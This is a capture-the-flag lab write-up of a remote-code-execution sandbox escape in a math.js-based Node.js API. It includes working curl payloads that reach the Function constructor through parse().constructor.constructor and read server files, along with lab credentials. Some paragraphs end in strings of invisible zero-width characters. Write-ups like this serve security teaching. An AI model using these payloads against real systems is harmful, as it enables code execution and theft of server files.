← Back to Writeups
CUSTOMMediumWeb

Lab 60 — CalcForge — RCE via Expression Evaluator Sandbox Escape

XESXOR9/10/20263 min read
#web#custom#medium#constructor_chain_traversal#file_read_via_require_fs#function_constructor_rce#mathjs_sandbox_escape#linux

Lab 60 — CalcForge — RCE via Expression Evaluator Sandbox Escape

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: constructor_chain_traversal, file_read_via_require_fs, function_constructor_rce, mathjs_sandbox_escape

Summary

Task: Node.js math expression evaluation API using math.js with unrestricted prototype chain access. Solution: Sandbox escape via constructor chain traversal (parse().constructor.constructor) to reach Function constructor and execute arbitrary code for file read.

Lab 60 — CalcForge — RCE via Expression Evaluator Sandbox Escape — HackAdvisor

Description

CalcForge is a developer-focused API platform by ForgeWorks Inc. that provides a powerful math expression evaluation service. Developers can sign up for API keys and use the interactive playground to test mathematical expressions — from basic arithmetic and trigonometry to matrix operations and statistical analysis. The platform features a documented REST API, usage analytics, computation history, and code examples in multiple languages. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express math expression evaluation API that uses math.js. Users authenticate with API keys and submit expressions via POST /api/v1/evaluate. The goal is to exploit a vulnerability to read /root/flag.txt from the server.

Analysis

  1. Application stack: Node.js + Express backend with math.js library for expression evaluation
  2. Authentication: Login with user@test.com / password123 to obtain API key cf_3bf37fb3995dab6477e5cc0708d7e9d4df5444424c55d9a3
  3. API endpoint: POST /api/v1/evaluate accepts JSON {"expression": "..."} with X-Api-Key header
  4. Decoy flags: HTML comments contain fake flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} to mislead automated scanners
  5. Key finding: The parse() function is exposed to users, returning math.js AST Node objects. These objects maintain their full JavaScript prototype chain, allowing traversal to the native Function constructor — a classic sandbox escape vector identical to node:vm context escapes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm math.js backend

Test basic expressions and identify the library:

bash
# Basic math works
curl -sk -X POST "$URL/api/v1/evaluate" \
  -H "Content-Type: application/json" \
  -H "X-Api-Key: $API_KEY" \
  -d '{"expression": "2+2"}'
# Returns: 4

# parse() returns math.js AST node
curl -sk -X POST "$URL/api/v1/evaluate" \
  -H "Content-Type: application/json" \
  -H "X-Api-Key: $API_KEY" \
  -d '{"expression": "parse(\"1+1\")"}'
# Returns object with fields: implicit, op, fn, args — confirms math.js

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Traverse constructor chain

bash
# Get Node constructor (a function)
# parse("1").constructor → Node constructor

# Get Function constructor (native)
# parse("1").constructor.constructor → function Function() { [native code] }

This confirms the prototype chain is not restricted — we can reach the native Function constructor from any math.js AST node.

Step 3: Execute arbitrary code via Function constructor

bash
curl -sk -X POST "https://47e8c0a4-726c-4af4-8b88-47beb30303a0.labs.hackadvisor.io/api/v1/evaluate" \
  -H "Content-Type: application/json" \
  -H "X-Api-Key: cf_3bf37fb3995dab6477e5cc0708d7e9d4df5444424c55d9a3" \
  -d '{"expression": "parse(\"1\").constructor.constructor(\"return process.mainModule.require(\\\"fs\\\").readFileSync(\\\"/root/flag.txt\\\",\\\"utf8\\\")\")()"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The expression breakdown:

  1. parse("1") — returns a math.js Node object
  2. .constructor — gets the Node constructor function
  3. .constructor — gets the native Function constructor
  4. ("return process.mainModule.require('fs').readFileSync('/root/flag.txt','utf8')") — creates a new function with our code
  5. () — immediately invokes it in the main Node.js context

Why this works

Math.js's parse() function returns AST node objects that are regular JavaScript objects. Their prototype chain leads back to the main V8 context: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

parse("1")              → Node instance
  .constructor          → Node (function)
    .constructor        → Function (native constructor)
      ("code")()        → executes in main context, full access to process/require

This is the same vulnerability class as node:vm sandbox escapes. Any JavaScript object that maintains its prototype chain to the outer context can serve as an escape vector. The math.js library does not freeze or null out the prototype chain on returned objects. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍